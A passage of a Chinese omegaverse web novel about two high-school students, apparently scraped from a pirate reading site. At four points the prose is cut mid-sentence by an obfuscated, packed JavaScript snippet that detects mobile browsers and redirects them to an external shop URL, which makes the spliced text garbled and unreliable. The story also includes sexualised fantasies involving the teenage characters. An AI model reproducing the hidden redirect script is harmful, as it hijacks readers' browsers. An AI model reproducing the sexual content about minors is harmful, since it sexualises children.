0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497978|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' lpha和体育生。 在二次觉醒后,林樗又调查过,现代社会结构里,Beta是主体,AO的占比约为28%,但在他们一班里,alpha有四个,两个女性alpha,两个男性alpha,omega原本有两个,都是男性,加上他这个晚龄觉醒的,一共三个。 Alpha的争强好胜刻进基因里,哪怕是跑步也要力挣上游,挣不到第一就多跑一圈,你多跑一圈那我也多跑一圈,无情的内卷里,林樗只觉得人形龙卷风一阵一阵的刮过,直到一丝不易察觉的气息涌进鼻尖。 慢悠悠跑步的林樗猛地转过头,就看到落后几步的同班omega脸色不太好,他的呼吸不对,脸色也泛起异常的红,虽然没什么交集,林樗记得他的名字,他叫沈之清,坐在第二排靠门的位置,成绩靠前,但为人很低调内敛。 空气里开始弥漫着一股清甜的兰草香。 林樗忽然就明白过来,跑步是会出汗的,年轻的alpha在出汗时很难控制自己的信息素,信息素一旦流淌出来,极其容易干扰临近发情期的omega。 沈之清也意识到自己不太对劲,第一想法是远离,但跑步本就消耗了他的体力,现在一慌张,人就要往下倒,林樗眼比手快,拉了他一把,同时也被惯性带得踉跄倒地。 膝盖擦破了皮,血液渗透出来,他也来不及管,直接从口袋里翻出隔离贴,撕开就往沈之清腺体上盖,担心盖不住,连贴了两张。 被信息素干扰的沈之清已经开始颤抖了,林樗没遭遇过,也不知道怎么办,只能强行按住他,同时握着随身携带的抑制剂,决定一不对劲就往沈之清脖颈扎。 他们倒下的动静太大,一瞬间吸引了所有人的目光,尤其是跑得快的几个alpha。 跑在最前面的是方应时,他刚靠近,看到膝盖出血的林樗和浑身颤抖的沈之清,瞳孔猛地一震,立刻明白过来往后退,同时拦住其他alpha。 越过他的体育老师大声喊着alpha后退,又大声喊人使用信息素清除剂、保护剩余的两个omega和按住可能躁动alpha,同时背起陷入早期发情的沈之清就往医务室跑,他的反应极其迅速,几个alpha甚至都没闻到omega的气息,事态就完全平息下来。 几个beta女生围上前把林樗扶起来,才发现他摔得很重,膝盖流下大片血迹,还沾满了尘土,就一迭声的问他有没有事。 “我没事。”林樗勉力站起来,也不知道是跑步累出的汗还是吓出的虚汗从发尾跌下来,他看了一下疼的发麻的伤口,要了一瓶信息素清除剂,“我到旁边休息一下就行。” 话刚说完,一道身影猝不及防盖下来,紧接着天地倒转,他被人抱了起来。 是方应时,他飞快的安排起来。 “陶稚你们几个看好周伊安,他好像受到了惊吓,如果也被信息素影响就立刻送到医务室打抑制剂。季然你回教室,我课桌里有alpha抑制喷雾和隔离贴,你去拿过来,每个alpha都得确保自己不受影响也不影响他人了才能从跑道上下来。” 说完,就大步朝着医务室跑去。 5. 005 【第五章:但是,那样会吓到林樗的。】 林樗被抱着跑了两步才反应过来,因为太突然还差点摔下去,然后就被方应时扣住肩膀,肩膀上的力道很重,重得像铁烙一样,徒然给他一种无论如何都挣不脱的惊悚感。 下一秒,一股气息随着空气闯进他的肺腑,那是一种很难以形容的冷冽,就像暴风雪席卷而来,霸道又蛮横,让人无法兴起任何反抗之心。 这是信息素吧,林樗后知后觉的想,但也不对啊,方应时不是阳光开朗型男高中生吗?为什么信息素冷得这么厉害? 冷得他想发抖。 于是,他就发抖了。 抖起来的那一刻,奔走的方应时一瞬间停下脚步,他低头看着林樗,林樗也在看他,四目相对,林樗第一次察觉到方应时的眼底没有笑意,那双眼睛是黑的,幽深的,像最静谧的深海,林樗觉得自己马上就要被卷进去了,然后他听到了方应时的声音。 “你……别怕。” 林樗愣了一下,“我有怕吗?” “嗯,你抖得很厉害。你放心,我现在不咬你。” 林樗:“……” 林樗:“???” 等一下。 什么叫我现在不咬你? 林樗没办法去纠正这种错误想法,因为方应时又跑了起来,跑得飞快,没一会儿就把他塞进医务室里。 校医经过严格的训练,有一套专业的手法应对这种突发事件,所以飞快的安排人手清理伤口,因为血液也有信息素,校医给方应时塞了一瓶信息素清除剂就把人赶了出去。 酒精冲洗伤口,洗去尘土沙石,也洗去麻木,然后无法忍受的刺痛感沿着神经末梢传进脑海里,疼得他直抽气。 没一会儿,校医处理好伤口,用纱布包扎好,又检查了林樗有没有被alpha信息素感染,发现他很谨慎地给自己贴了两张隔离贴,毫不吝啬的表达了赞赏,然后就走了。 隔壁还有一个沈之清等着他帮忙处理。 医务室只剩林樗一个人,放学的铃声已经响过了,这一片角落显得格外安静。 林樗开始思考他要怎么回家的问题,但膝盖的刺痛感让他没办法专心,于是他吸了一口凉气,下一秒就听到方应时问: “很痛吗?” 林樗吓了一大跳:“你还没走。” “嗯,”可能是觉得一个字没办法准确表达,方应时又补了一句,“你在这里,我就哪里都没去。” 林樗:“……” 他刚刚就想说了,这是什么台词,他们有这么熟吗?他们也就一起在食堂吃过一顿午饭! 该反驳他的,林樗皱起眉,但脑子很丝滑的预判了后续的发展,他反驳之后,方应时就会解释,他解释了自己的行为就会解释自己的思想,解释完思想就会阐述感情,阐述完感情他就要再一次表达拒绝,这里会分出两条支线,一条是方应时无奈接受,黯然离去,变得颓唐,没办法再报名参加八个项目了;另一条是方应时表示出不抛弃不放弃的精神,然后坚持不懈持之以恒…… ………… 无论哪种都好麻烦。 仅仅一秒钟,林樗就决定他要假装没听到。 “哦,那你走吧。” 声音很冷漠,但就像是知道他想了什么,方应时靠着门,很轻的笑了一声:“你不学物理了吗?” 林樗:“……” 林樗:“???” 不是,他都这样了,还要学物理吗? 林樗平静的开口:“嗯,明天再学吧。” 方应时:“那我送你回家。” 林樗:“……” 方应时打断他:“别在这种时候拒绝我,不然会发生很可怕的事情。” 林樗木着脸:“比如说?” 方应时想了想,又想了想,然后低头看着自己的手:“好吧,其实也不会发生什么很可怕的事情。” 林樗:“…………” 林樗单脚蹦起来,一把拉开门,靠着门的方应时踉跄了一下,差点跌进屋里。仅仅是这么一会儿,他就捕捉到了那股由血液带出来的酒香,和前两次不同,这一次的气息太浓郁,太不稳定,他没有进去,重新站稳。 空间太狭小了,他想,这很容易引起omega的抵触。 方应时停了一下,又往后退了一步。 林樗顿时偃旗息鼓了,他感觉有些头疼,就像初中应付硬要凑上来交朋友的赵宇飞的那种头疼。 “去找一架轮椅。” 方应时愣了一下。 林樗吝啬于再多给一个表情,“你不会是想抱……想背着我回家吧?” 方应时诡异的沉默了。 林樗:“……” 林樗反手就要关门。 门即将要关上的刹那,被方应时抵住了。 “我去找轮椅,很快回来。你在这里等我,不能走开。” 他的声音很低,很轻,似乎要中和掉话语里属于alpha的那份强硬,又好像带着一点卑微的祈求,林樗没办法分析得很清楚,他也不想分析清楚,太麻烦了,他面无表情的拿起方应时遗漏的信息素清除剂,开始狂喷。 等到方应时回来的时候,周围的空气已经清新得像是刚出厂似的。 林樗还特意观察了一下,没在方应时脸上看到类似遗憾的情绪,就好像没被他的信息素污染一样——虽然没有检查过,但林樗是知道的,他们之间的契合度很高。 方应时不仅弄来了轮椅,还把他们的书包都带了过来,等林樗坐进轮椅里,方应时还开口解释了一下,“赵宇飞一直在教室等你,我说我送你回家,他很放心的走了。” 林樗:“……” 方应时又补充:“他走之前还提醒我,收拾你的书包时,别忘了把你的数学试卷带上。” 林樗:“…………” 林樗面无表情,懒得接话。 方应时又笑了一声,他也没再说话,安静地推着轮椅走出校门,走过街道,然后花了不长不短的时间回到林樗家住的小区,他还想送林樗上楼,但林樗拒绝了。 “有电梯,我能自己滑轮椅。” 方应时沉默了一下,他知道只是林樗能接受的极限了。他当然可以顺从体内横冲直撞的信息素,蛮横的把林樗送回家,又或者更直白更了当的展现镌刻在alpha基因里的占有欲和掠夺欲——alpha能是什么好东西啊。 但是。 那样会吓到林樗的。 悄无声息的磨了磨发痒的牙齿,方应时松开手,又往后退了一步。 “好。”他扬起爽朗之至的笑意,说,“那明天见。” 林樗歪着头,夕阳的微光穿过高楼大厦,遗漏了一缕倾泻在方应时身上,晚风拂过扬起他散落的碎发,光与影交隔,他没办法看清方应时的眼睛,只知道他在笑。 很开朗的笑,坦坦荡荡的。 林樗默了一下,说:“明天见。” 然后转头就摇着轮椅走了。 直到他的背影完全消失,低调的梅赛德斯再次停在他身边,他拉开门坐进去,手机就响了。 他接起来,那边是一个很低沉的男声。 “你的信息素超过了阈值,正在发出警报。” “我知道。”方应时应了一声,他抬起眼睛看向后视镜,后视镜里的他哪里还有什么笑容,那双黑色的眼睛里只剩下肆虐风暴,阴森可怖,像是要把一切都吞噬殆尽,如果林樗在这里一定会被吓到的。 他试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497979|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾起唇角,但毫无作用。 “打抑制剂。” “不想打。” “原因。” 方应时唔了一声,“因为这次是被omega信息素引起的。”他停了一下,继而笑出来,“是我喜欢的omega。” 说完,他挂断了电话。 车厢安静下来,透过后视镜,方应时看到司机在发抖。他的司机是个beta,受信息素影响很小,但耐不住这个狭小的空间里挤满了狂躁的alpha信息素,他好心的把隔板升了起来。 空间变得更狭小,也更安静,方应时靠在真皮桌椅上,脑子不期然冒出了画面,在他的想象里,暴躁的风雪勾引出浓烈醇厚的酒香,受了伤的林樗跨坐在他身上,低着头跟他接吻,他们唇舌触碰,交叠,缠绕,直至密不可分,透明的丝线从唇角遗漏,又被他舔舐,他牢牢锁住林樗的手忍不住,朝着衣摆下探去—— 画面猝不及防的散去。 方应时咬着牙睁开眼,就如过往每一次失控,他没有余力控制脑海里的想象,却又觉得那样的想法太不尊重林樗了。 不能再想了。 脑海里的酒香仿佛萦绕不去,方应时抬手盖住泛红的眼睛,同时调整坐姿,把腿支起来,让鼓鼓囊囊的地方得到一点喘息。 朝阳如约升起。 林樗依旧准点到校,老实说,他虽然受了伤,但完全没到不能走的地步,昨天借轮椅只是想堵住方应时不合时宜的想法。现在,他的膝盖依然缠着绷带,依旧有点痛,但完全在忍受范围里。 也许是因为昨天的事故,今天跟他打招呼的人更多了,林樗一一应付过去,刚坐到自己的位置上,抬起头,就看到方应时朝他扬起一个堪比朝阳的笑脸。 林樗:“……” 林樗面无表情的移开视线,然后顶着两个黑眼圈开始趴下补觉。 昨晚他没睡好,因为做了一晚上噩梦,梦里被暴风雪席卷了,奇怪的是裹挟他的风雪并没有让他感到冷,虽然上上下下的一直在颠簸,但有种泡在温水里的舒适感,是很难形容的,很陌生的感觉,所以他天没亮就睁开了眼睛。 睁眼的瞬间,他就意识到,尽管隔着两重隔离贴,他还是被alpha的信息素影响了。 高契合度就是很麻烦。 房间里飘忽着属于他的信息素,忽浓忽淡,很不稳定。 这是正常的,林樗起身开始找信息素清除剂,按照医生的说法,他的身体还处在晚龄觉醒的末期,在第一次发情期到来之前,他的信息素都会处在不稳定的状态。 等打理好自己,已经到上学时间了。 趴在桌子上补觉的感觉并不舒服,林樗迷迷糊糊也不知道自己睡了多久,然后察觉到有人在敲自己的桌面,他抬起头,就看到了沈之清的脸。 早读已经结束了,教室里有点吵闹,在这样的背景里,一盒温牛奶被放到桌上,沈之清低声道:“昨天谢谢你。” 林樗不太擅长应付这种场面,能应付这种场面的赵宇飞也不知道跑哪里去了。 “不用谢。” 沈之清没再说什么,朝他温和的笑了笑,就走了。 他刚走,赵宇飞就跑了回来,回来看到桌面的温牛奶困惑的咦了一声,然后拿出另一盒一模一样的温牛奶摆到桌上。 林樗:“……” 林樗没什么表情地看着赵宇飞。 赵宇飞困惑的挠头,超绝不经意的朝着方应时的方向看,然后在方应时的注视里,又超绝不经意的用手里的温牛奶换掉桌上的温牛奶。 林樗:“…………” 赵宇飞催促:“快喝吧,喝完舒服一点。马上就要上课了……等、等一下,今天的第一节是数学课!我的数学作业还没写完!!” 6. 006 【第六章:“获取你的信任的门票。”】 最后,林樗并没有喝牛奶。 他只是困的要睡着了,不是缺营养到要晕倒了。 这一个上午也在他的努力下,维持着日常的平和,没写完数学作业的赵宇飞依旧在哀嚎,他就在旁边提点思路;前桌的文学少女对着言情小说哭的抽搐,差点被语文老师发现,他就帮着递了两张纸巾;化学老师在实验课忘了重置天平,他就把东西回归原位,方便按时下课…… 按时下课的林樗和赵宇飞一起来到食堂,打到了一份糖醋小排,刚找到空位坐下,同样捧着餐盘的沈之清脚步一拐,停在他们旁边问能不能一起坐。 赵宇飞是个人来疯,林樗无可无不可,沈之清就坐到林樗对面。 沈之清是个很低调内敛的omega,话很少但很有礼貌,知识储备丰富,赵宇飞每句天马行空的发言他都能捡起来,决不让话题掉在地上导致冷场,所以一场午饭下来,赵宇飞就差跟他桃园结义互称兄弟,然后约定每天一起吃饭一起上厕所了。 虽然他们上得是不同的两个厕所。Omega和beta不可能上同一个厕所,就算他们都是男性。 沈之清没有反驳,甚至觉得也不是不行。 就说嘛,他们一班三十人,真的各个都是人才。 随后他们仨在贩售机买了三罐热饮,回到教室的时间还早,休息的人不多,少部分围在讲台上,正在查看校运会的报名表。下周就要办校运会,留给他们报名的时间并不多,负责这件事的体育委正全场大点兵。 赵宇飞凑上去:“短跑已经报完,长跑还剩3000米没人报,接力没全,跳远和铅球还没人报,喂,李源,你怎么不报啊?” 李源是后排靠门上课练握力的体育生,身高一米九,声如擂鼓,气贯长虹:“没有我擅长的。” 赵宇飞挠头:“啊?你不是体育生吗?你不能跳远吗?” 李源:“……” 李源:“体育生也分很多种。” 赵宇飞:“哦哦,你是哪种?” 李源骄傲昂起头:“我是田径专项的长跑体育生。” 林樗:“……” 沈之清:“……” 等一下,长跑体育生为什么要每节课练握力? 他不是很能理解。 “原来是这样,”赵宇飞又哦哦了两声,然后更困惑了,“那你怎么不报男子3000米?” 李源面色一僵。 班里所有人都朝他看去。 李源傲娇的一撇头:“方应时报我就报,我去年就说过今年一定要跑赢他。” 恰好方应时回来,所有人又都朝他看去。 方应时只听到后半句,但看大家的目光,很简单的猜到了前半句,他脚步一停,目光一一扫过,最后停在林樗身上,露出一个很开朗的笑,“行哦,那我报个3000米长跑。” 赵宇飞高高兴兴的把两个人的名字写上,然后想了想,又在铅球那栏写上自己的名字,林樗说他抛铅球很有天赋,他也觉得自己很有天赋。 写完他又觉得还不够,看了看剩下的空格,问:“还差接力和跳远,100米接力差一个,200米接力差两个,400米接力还没人报……阿樗你跑不跑400米接力,我,你,还有沈之清,我们仨一起去?” 林樗面无表情的看着他:“你是想我死吗?” 沈之清举手:“我也会死的哦。” 他们不善运动的知识分子就是这么柔弱且无力。 熙熙攘攘间,体育委继续点兵点将,被点到的人哀嚎不已,赵宇飞还是被抓去跑400米接力了,但林樗和沈之清都明确的拒绝,体育委只好去找别人,最后无能为力求到方应时面前,方应时只好又报了一个接力一个跳远。 他们学校并没有项目限制,只要愿意,你所有的项目都报名也没关系。 至于没报名的人,全都自动归入后勤组,负责写鼓励播报稿,负责送水送毛巾,在终点接人之类的琐碎事件。 下午的课也很快结束,林樗照例留下补物理。 校运会在即,但校运会之前是月考,按照方应时的安排,他会在月考到来之前把林樗落下的物理知识点补全,但昨晚的意外打乱了节奏,现在得加快进度了。加快进度的结果就是,林樗更快的把残存的能量耗尽。 在方应时讲完知识点出考题之前,林樗就已经进入宕机模式。宕机模式不是停止思考,而是停止社会交流——对林樗来说思考消耗的能量远比不上跟人类多说两句话,虽然他也是人类。 他是那种,需要在自己的空间安静的独处,才能一点点回复能量的人。 方应时出的考题推到他面前,他提起笔就写,没有语言交流,也没有眼神接触,方应时知道他的德性,也没说话,趴在赵宇飞的桌上,安静的看着林樗动笔。时间已经有点晚了,教室里开着灯,灯光倾注在握笔的手上,黑白对比,那节指尖漂亮的让人心惊。 一定很好握。 林樗的体温一向不高,握在手里一定是冰冰凉凉的,但是再多捂一会儿就能捂热,热起来之后,冷调的白就会变成诱人的粉色,粉色也会很衬林樗的。 刷题的手一顿,林樗很突兀的停下来,原因无他,奇怪的画面又闯进脑海里了,画面里是同一个教室同一个灯光,不同的是他被按在alpha的怀里,握笔的手被圈着,霸道的alpha一根一根的掰开泛着粉调的手指,然后不留情面的嵌进去,再摩挲、把玩,缱绻的如同最亲密的恋人一样…… ……林樗呼出一口气。 这两天事情有点多,他都忘了方应时还会脑补了。 方应时也注意到了他奇怪的停顿,“怎么了?这道题不会写吗?是哪里没有弄明白?” 林樗没说话。 下周四和下周五是校运会,下周二和下周三则安排了月考,今天已经是周五了,周六周天放假。理论上讲,如果今天没有将遗漏的知识点补完,就只剩下下周一一天时间,但是在考前一天学知识点,然后第二天上考场……林樗觉得不太可。 周六周天补课,那更不行! 谁也不能压榨他的个人空间,否则他就会因为能量透支变成反派,快进到毁灭世界。 综上所述,他还不能撂挑子。 所以,他重新动笔,流畅的开始写下一条物理公式。 方应时看了一眼,公式是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497980|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对的,计算结果也没有失误,物理是林樗的弱势科目,但不代表林樗的物理真的很差劲,毕竟一中是重点高中,在这里就读的学生没有几个是真的很差劲的,所以他又趴回桌上。 脑补的画面又往下延续,画面里的方应时已经不满于玩弄一只细长的手,于是他又抓住林樗的另一只手,十指紧扣,收拢,他牢牢地勒着腰将林樗锁进怀抱里,属于alpha的灼热气息扑到脖颈,耳后,然后,猝不及防的舔了舔冰凉的耳垂…… 握笔的手又一顿。 林樗:“……” 方应时困惑的抬头:“怎么了?这里也不会吗?” 林樗:“…………” 老实说,画面里,方应时舔耳坠的动作,旖旎是有的,暧昧也是有的,但相比于调/情它更像本能,就像一只猫圈住另一只猫后,会忍不住想帮着舔舔毛一样,可是落在林樗的视角里就只剩下惊悚。 因为被舔的那个人是他。 他甚至感觉到了温热的湿润覆盖耳垂的触感——那个本不应该出现的感知,因为他们之间的超高契合度,也完整的被他接收到了。 “你的耳朵红了,”方应时敏锐的察觉,“脸也有点红,很热吗?” 但是今天温度不高啊。 林樗木着脸:“还好。” 方应时皱起眉:“那就是身体不舒服?” 林樗终于转头看着他,四目相对,林樗很轻易能从方应时眼里看见自己,耳尖已经红的要溢血了,脸也是。 方应时的笑容淡去了,空气中,突兀的飘出一点酒香。 很淡很淡,但做为alpha,他捕捉到了。 那一点微薄的信息素落在他身上,带出了一点暴风雪的冷意。 方应时愣了一下,飞似的起身往后退,退到几米外停下,再看林樗,发现他的手已经探进书包里,不出意外的话,他手里握的是抑制剂,只要他出现一点点失控的迹象,那支抑制剂就会电光火石的扎进他的脖颈里——他明白,林樗一定会这么做的。 “等一下,”方应时有些无奈,“我能控制住。我一直控制的很好。” 林樗依旧木着脸:“是吗?” 废话,方应时心想,他都控制了一年多了,远在林樗被诊断为beta的时候,他那像怪兽一样暴躁的信息素就被他按在身体里…… 对着林樗不信任的眼神,方应时叹出一口气,出乎意料的走回自己的座位上,掏出一支抑制剂打进脖颈里,然后把空下来的针剂递给林樗。 “喏,获取你的信任的门票。” 林樗:“……” 林樗松开手里的抑制剂。 方应时顺势坐回位置上,仿佛没什么大事的笑着问:“所以为什么停笔了,时间有点紧迫,得要尽快的解决哦。” 气氛被打断,林樗脸不红了,但也懒得计较了:“都不会。今天就先这样吧。” 他说完就开始收拾书包。 “可是今天不学完的话,月考会来不及哦。” 方应时也跟着收拾书包,两人一齐迈出教室。 林樗脚步一顿,神色恹恹的。 “明天吧。”林樗说,“早上九点,市图书馆见。” 7. 007 【第七章:“你能别站我旁边吗?”】 作为一个高中生,林樗对自己是有一定的认知。 他是一个很普通的高中生,家庭成员简单,只有妈妈和姐姐,没有什么虐心和痛点,有几个还算不错的朋友,读过几本书,心态积极健康,对世界有一定的包容度,所以他努力思考了一下,考上高中,和方应时同班的这一年来,他甚至没给方应时释放过什么友善信号。 什么牵手撞肩膀相视一笑的,通通没有,连话都没多说过几句,他甚至都不能算是方应时的朋友。 因为交朋友很麻烦。 他懒得。 唯一能突破‘同学’这个概念,称得上是他的朋友的赵宇飞是放假有事没事就敲他家大门,跟他妈妈姐姐打完招呼,就一把推开他房间门,顶着他的死亡注视大喊撒泼莱斯的强盗。 所以他一直都不是很能理解,为什么方应时的脑补对象会是他自己。 无法理解那就……不理解了。 方应时又不是高考必考题,答不出来就算了呗,林樗背着书包走出家门,他是一个高中生,对于他来说,即将到来的月考和校运会都比方应时为什么会脑补自己更重要,至于方应时的脑补他会带来的危机性…… 脑子里闪过医务室后退一步的方应时和教室里直接给自己打抑制剂的方应时,林樗叹了一口气,问题不大,他会时刻保证口袋里有两张备用隔离贴和一支抑制剂。 市图书馆离他家有三站地铁的距离,约定的时间是九点,正好避开周六的早高峰,林樗踩着点上地铁,踩着点下地铁,然后在九点整一秒不差的站到图书馆门口。 方应时已经到了。 因为不是上学日,双方都没有穿校服,林樗的穿着很简单,T恤叠一件雾霾蓝的卫衣,下身是牛仔裤和运动鞋,而方应时居然也穿了一件雾霾蓝的卫衣,衣领翻折出白衬衫的领口,但袖口叠到小臂,露出黑色的运动手表,脖子挂着头戴式耳机,耳机的线一直向下延伸到背后的书包里,青春阳光的气息浓厚到连天上的乌云都要被驱散去了。 “你来了。”方应时弯起眼睛。 林樗:“……” 林樗决定无视掉这个酷似情侣装的卫衣,对着方应时点了点头,朝图书馆大门走去。 周末的图书馆人不少,林樗挑了一个靠角落的位置,方便方应时进行讲解。因为请假而落下的物理课程还剩最后几个知识点,林樗打算尽快学完,然后剩一点时间把作业也写一下,反正来都来了。 方应时的讲解依旧简单明了,出得练习题也代表性,林樗提起笔,顾虑着昨晚的意外没有第一时间写,他朝着方应时看了一眼,方应时停下打开书包拿作业的手,低声问,“怎么了?” 林樗:“你准备……写作业?” 方应时:“嗯。来都来了。” 林樗:“……你居然也需要写作业?” 在他印象里,方应时不是在给人讲题就是在给人讲题的路上,是远近闻名的学神。 方应时笑起来:“不写作业怎么考第一?” 林樗:“你也没掉下过第一名。” 方应时眼睛一亮:“原来你知道啊。” 林樗简直无语了,那么大的第一名,还能有人看不见吗?但他懒得说了,直接开始动笔写作业,图书馆里也不应该说太多的话,方应时安静的把自己的作业拿出来。 临近中午,天际的乌云被风吹散,稀薄的阳光倾洒下来,林樗写完最后一道物理题,提议先吃饭,于是两人就近找了个小面馆,吃了两碗刀削面。吃碗面回到图书馆,换成方应时批改林樗写完的物理题,林樗则从书包掏出自己的作业。 高中生的假期缺什么都不会缺了作业,林樗带来的书包里,除了物理,还有数学英语化学和生物,因为打算在接下来的时间里,尽可能的把作业写完,林樗写得很专注,所以直到停笔,才发现方应时已经改完了他写的物理作业,枕着手臂不知道看了他多久。 脑子里没有奇怪的画面挤进来,看来方应时没有脑补奇怪的东西,只是安静的看着他发呆了。 忽然,林樗问:“好看吗?” 方应时:“好看啊。” 林樗:“……” 反应过来,意识到林樗在说反话,方应时也不扭捏做作,反而扬起一个比阳光更灿烂的笑。 林樗顿了一下:“所以,它有什么问题吗?” 林樗指的是他刚做完的物理练习题。 “没有哦,”方应时回答,“每一道物理题都写对了。不出意外的话,月考会拿一个很高的分数。” 林樗不置可否,但他这么努力补物理,确实是为了月考能考好一点。 周末过去,月考如期而至。 月考是正式的小考,和期中期末考一样,由全校统一安排考场坐次。考场电脑按年级按选修科目随机安排的,而高二七个班,林樗被安排到了六班,赵宇飞和沈之清都被安排到了二班,很巧的是,方应时也被安排到了六班。 整个六班考场只有他们俩是一班的。 所以考试结束去食堂吃午饭的时间点,方应时都很理所当然的提出邀请,他们从三楼走到二楼,跟季然汇合,再走到一楼,等在一楼的赵宇飞和沈之清已经等在楼梯转角了。 考完月考,校运会就到了。 校运会的当天是个很不错的晴天,澄澈的阳光铺满整个操场,红色的跑道被晒得暖洋洋的,广播里循环播放着激昂的运动员进行曲,各班的方阵举着班牌,整齐迈步走过主席台前,口号声此起彼伏,热闹得几乎要掀翻操场的顶棚。 林樗站在一班队伍的中间,双手插在校服口袋里,融在空气中,低调得毫无存在感。 对他来说,校运会就是一场大型耗能现场,要站着晒太阳、要喊口号,每一项都违背他的节能原则,若不是必须全员到场,他都想请假了——老实说,他假条都写了,但是被班主任陆则驳回来了。 好不容易开幕式结束,田径短跑马上就要开始了。 林樗没有报名,被归为后勤,需要打杂,打杂的第一件事就是写激动人心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497981|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的广播稿。 响应教育局号召,他们学校一个班至多三十人——也就是说除掉参加项目的,也没剩几个能当后勤的了,这就是班主任不批假的根本原因。 写广播稿之前,要先把运行员们需要的能量饮料、水和零食之类的准备好,这些都是提前使用班费采购好的,需要提到他们班的临时营地里,负责提的人是林樗和沈之清。 作为一个节能人士,林樗给自己的定位一直是,一个一米七八还在生长期的,不擅长运动的柔弱知识分子,但很显然,正常觉醒成为omega的沈之清比他更不擅长运动,林樗沉默了一下,选择抱起更重的一箱矿泉水,让沈之清提着零食袋子跟上。 沈之清对这个分配没有异议,提着零食袋,又把能量饮料也带上,甚至还带了几条干净的毛巾——后勤是干杂货的,他们还需要在终点站接运动员。干毛巾是必需品。 两人从教室下楼,走出教学楼,迎面碰到了从教师办公室出来的方应时和季然。 手里拿着一沓试卷,方应时在看到林樗的那一秒,就把试卷丢到季然手里,几步走到林樗旁边,接过水,“我来吧。” 听到声音的刹那,那一箱矿泉水已经换了个位置。 林樗空着手,也没计较,旁边的季然也跟着接过了沈之清手里的零食和饮料。 “怎么安排你们两个来搬东西?”季然问。 沈之清:“不重。其他人都在忙。” 刚搬到营地,拎着报名表的体育委就马不停蹄的拉高士气。 “男子一百米赛要开始了,快快快,陶稚和董存希去哪里了?!厕所?上个厕所还要拉着手去吗,快给我叫回来!还有赵宇飞,铅球要点名呢!广播稿广播稿,广播稿也别停下,二班那群兔崽子已经送过去了,咱们也不能输。” 林樗没从投广播稿里品出什么不能输的竞争精神,但同行的沈之清被抓走了,一同龙飞凤舞写稿的是他前桌的文学少女,林樗欷歔两声,然后往后挪了一步,完美隐入人群中。 他给自己挑了个遮阳的好位置,能看清运动场的情况,又不会受限于吵闹和喧嚣,就在这时,一瓶热饮递到手边。 林樗转过头,不出意外的看到方应时的脸。 “喝吗?” 十一月初,天气凉下来,对于不运动的人来说,确实是热饮更合适,林樗接了过来,但…… “你能别站我旁边吗?” 他不是很想挪位置。 方应时也不是很想挪位置:“为什么?” 林樗:“你太显眼了。” 话还没说完,体育委的魔音就从背后冒出来。 “班长你……等等,林樗你杵这儿干嘛呢,快去接班写稿,女子200米赛要开始了,杨姗姗已经去准备了。” 方应时:“……” 林樗:“……” 杨姗姗就是他的文学少女前桌。 林樗忍了忍,没忍住,朝着方应时比了个中指。 方应时看到了,方应时没忍住,朗声笑出声来。 8. 008 【第八章:高契合度什么的就是很麻烦。】 方应时自认为不是什么很十恶不赦的人,所以笑完,就灰溜溜也跟着,打算去帮忙写广播稿了。 林樗接替了杨姗姗的宝座,笔,还有纸,那一沓的A4白纸上布满龙飞凤舞的笔痕,看得出杨姗姗写得很暴躁,没关系,他也即将写得很暴躁。 他的字迹和杨姗姗的龙飞凤舞不同,比较稳定,干净,连笔之间不拖泥带水,和他的处世准则一模一样。 没有告诉过别人,方应时其实很喜欢看林樗写字,从握笔到落笔,从曲起的指尖到发力的手腕,甚至是平静专注的表情,他都很喜欢,多看了一会儿,方应时凑过去。 “还有笔吗?我也来帮忙。” 一旁不停产出广播稿,几乎把一辈子学过的积极向上的字词句都写完了,眼神连高光都消失了的沈之清连忙把座位让出来:“您请。正好差不多是时间了,我去接赵宇飞。” 说完,一溜烟夺命狂奔跑出百米。 林樗也失去了自己的高光,看着消失的沈之清,面无表情提出自己的质疑:“赵宇飞在抛铅球,有什么需要接的?” 方应时思索了一下:“可能他只是不想写广播稿了。” 林樗:“……” 林樗没有表情的转向方应时。 方应时扬起一个更大的笑脸。 林樗:“你很闲吗?” 方应时:“是有一点,跳远在下午,长跑和接力赛都在第二天。所以,你现在要冷静一点哦,说话的语气要向如沐春风靠齐,因为我是唯一能陪你写稿的人了,一旦我走了,你就要一个人写完所有的广播稿。” 林樗:“……” 方应时:“能屈能伸一点,社会就是这么残酷的。” 审时度势。 能屈能伸的林樗如沐春风的闭了嘴。 